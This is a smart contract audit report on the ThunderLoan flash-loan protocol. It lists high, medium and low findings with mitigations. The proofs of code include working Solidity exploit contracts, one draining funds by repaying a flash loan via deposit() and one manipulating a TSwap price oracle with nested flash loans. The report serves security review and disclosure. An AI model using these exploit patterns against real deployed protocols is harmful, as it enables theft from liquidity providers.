Protocol Audit Report

Prepared by: Spiney

Table of Contents

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

Disclaimer

The Spiney team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
026da6e73fde0dd0a650d623d0411547e3188909
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
```

```
  |   #-- AssetToken.sol
  |   #-- OracleUpgradeable.sol
  |   #-- ThunderLoan.sol
  #-- upgradedProtocol
      #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	9
Info	0
Total	13

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchange` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between asset tokens and underlying tokens. In a way it's responsible for keeping track of how many fees to give liquidity providers.

However, the `deposit` function updates this rate without collecting any fees!

```
function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

    // @Audit-High
@>  // uint256 calculatedFee = getCalculatedFee(token, amount);
@>  // assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the amount to be redeemed is more than it's balance.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than they deserve.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

▶ Proof of Code

Place the following into `ThunderLoanTest.t.sol`:

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
    uint256 amountToBorrow = AMOUNT * 10;
    uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
amountToBorrow);
    tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);

    vm.startPrank(user);
    thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
amountToBorrow, "");
    vm.stopPrank();

    uint256 amountToRedeem = type(uint256).max;
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, amountToRedeem);
}
```

Recommended Mitigation: Remove the incorrect updateExchangeRate lines from `deposit`

```
function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

-   uint256 calculatedFee = getCalculatedFee(token, amount);
-   assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[H-2] All the funds can be stolen if the flash loan is returned using `deposit`

Description: An attacker can acquire a flash loan and deposit funds directly into the contract using the `deposit()`, enabling stealing all the funds.

The `flashloan()` performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing `endingBalance` with `startingBalance + fee`. However, a vulnerability emerges when calculating endingBalance using `token.balanceOf(address(assetToken))`.

Exploiting this vulnerability, an attacker can return the flash loan using the `deposit()` instead of `repay()`. This action allows the attacker to mint `AssetToken` and subsequently redeem it using `redeem()`. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

Impact: All the funds can be stolen.

Proof of Concept:

▶ Proof of Code

```
    function testUseDepositInsteadOfRepayToStealFunds() public
setAllowedToken hasDeposits {
        uint256 amountToBorrow = 50e18;
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
        dor.redeemMoney();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
    }

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        s_token.approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

Recommended Mitigation: Add a check in `deposit()` to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in `flashloan()` and checking it in `deposit()`.

[H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description: Description: `ThunderLoan.sol` has two variables in the following order:

```
        uint256 private s_feePrecision;
        uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
        uint256 private s_flashLoanFee; // 0.3% ETH fee
        uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts. **Impact:** After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot. **Proof of Code:**

▶ Code

```
    // You'll need to import `ThunderLoanUpgraded` as well
    import { ThunderLoanUpgraded } from
"../../src/upgradedProtocol/ThunderLoanUpgraded.sol";

    function testUpgradeBreaks() public {
            uint256 feeBeforeUpgrade = thunderLoan.getFee();
            vm.startPrank(thunderLoan.owner());
            ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
            thunderLoan.upgradeTo(address(upgraded));
            uint256 feeAfterUpgrade = thunderLoan.getFee();

            assert(feeBeforeUpgrade != feeAfterUpgrade);
        }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage` **Recommended Mitigation:** Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
    function getPriceInWeth(address token) public view returns (uint256) {
        address swapPoolOfToken =
IPoolFactory(s_poolFactory).getPool(token);
@>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
    }
```

```
3. The user then repays the first flash loan, and then repays the second
flash loan.
```

▶ Proof of Code

```
function testOracleManipulation() public {
        // 1. Setup contracts
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        // Create a TSwap Dex between WETH/ TokenA and initialize Thunder
Loan
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap
        vm.startPrank(liquidityProvider);
```

```
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18,
block.timestamp);
        vm.stopPrank();

        // 3. Fund ThunderLoan
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
100e18);
        console2.log("Normal Fee is:", normalFeeCost); //
296147410319118389

        // 4. Execute 2 Flash Loans
        uint256 amountToBorrow = 50e18;
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
            address(tswapPool), address(thunderLoan),
address(thunderLoan.getAssetFromToken(tokenA))
        );

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
// the executeOperation function of flr will
            // actually call flashloan a second time.
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console2.log("Attack Fee is: ", attackFee);
        assert(attackFee < normalFeeCost);
    }
}

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    // 1. Swap TokenA borrowed for WETH
    // 2. Take out a second flash loan to compare fees
    constructor(address _tswapPool, address _thunderLoan, address
_repayAddress) {
```

```
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 wethBought =
tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            // Tanks the price:
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
wethBought, block.timestamp);
            // Takes second identical flash loan
            thunderLoan.flashloan(address(this), IERC20(token), amount,
"");
            // repay
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            // calculate the fee and repay
            feeTwo = fee;
            // thunderLoan.repay(IERC20(token), amount + fee
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }
        return true;
    }
}
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

Low

[L-1] Centralization Risk

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

▶ 6 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 239

```
    function setAllowedToken(IERC20 token, bool allowed) external
onlyOwner returns (AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 265

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
```

- Found in src/protocol/ThunderLoan.sol Line: 292

```
    function _authorizeUpgrade(address newImplementation) internal
override onlyOwner { }
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 238

```
    function setAllowedToken(IERC20 token, bool allowed) external
onlyOwner returns (AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 264

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 287

```
    function _authorizeUpgrade(address newImplementation) internal
override onlyOwner { }
```

[L-2] Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

▶ 1 Found Instances

- Found in src/protocol/OracleUpgradeable.sol Line: 16

```
        s_poolFactory = poolFactoryAddress;
```

[L-3] Public Function Not Used Internally

If a function is marked public but is not used internally, consider marking it as `external`.

▶ 6 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 231

```
    function repay(IERC20 token, uint256 amount) public {
```

- Found in src/protocol/ThunderLoan.sol Line: 276

```
    function getAssetFromToken(IERC20 token) public view returns
(AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 280

```
    function isCurrentlyFlashLoaning(IERC20 token) public view returns
(bool) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 230

```
    function repay(IERC20 token, uint256 amount) public {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 275

```
    function getAssetFromToken(IERC20 token) public view returns
(AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 279

```
    function isCurrentlyFlashLoaning(IERC20 token) public view returns
(bool) {
```

[L-4] PUSH0 Opcode

Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

▶ 8 Found Instances

- Found in src/interfaces/IFlashLoanReceiver.sol Line: 2

```
pragma solidity 0.8.20;
```

- Found in src/interfaces/IPoolFactory.sol Line: 2

```
pragma solidity 0.8.20;
```

- Found in src/interfaces/ITSwapPool.sol Line: 2

```
pragma solidity 0.8.20;
```

- Found in src/interfaces/IThunderLoan.sol Line: 2

```
pragma solidity 0.8.20;
```

- Found in src/protocol/AssetToken.sol Line: 2

```
pragma solidity 0.8.20;
```

- Found in src/protocol/OracleUpgradeable.sol Line: 2

```
pragma solidity 0.8.20;
```

- Found in src/protocol/ThunderLoan.sol Line: 64

```
pragma solidity 0.8.20;
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 64

```
pragma solidity 0.8.20;
```

[L-5] Empty Block

Consider removing empty blocks.

▶ 2 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 292

```
    function _authorizeUpgrade(address newImplementation) internal
override onlyOwner { }
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 287

```
    function _authorizeUpgrade(address newImplementation) internal
override onlyOwner { }
```

[L-6] Unused Error

Consider using or removing the unused error.

▶ 2 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 84

```
    error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 84

```
    error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

[L-7] Unused Import

Redundant import statement. Consider removing it.

▶ 1 Found Instances

- Found in src/interfaces/IFlashLoanReceiver.sol Line: 4

```
import { IThunderLoan } from "./IThunderLoan.sol";
```

[L-8] State Change Without Event

There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

▶ 2 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 265

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 264

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
```

[L-9] Unchecked Return

Function returns a value but it is ignored. Consider checking the return value.

▶ 2 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 211

```
        receiverAddress.functionCall(
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 210

```
        receiverAddress.functionCall(
```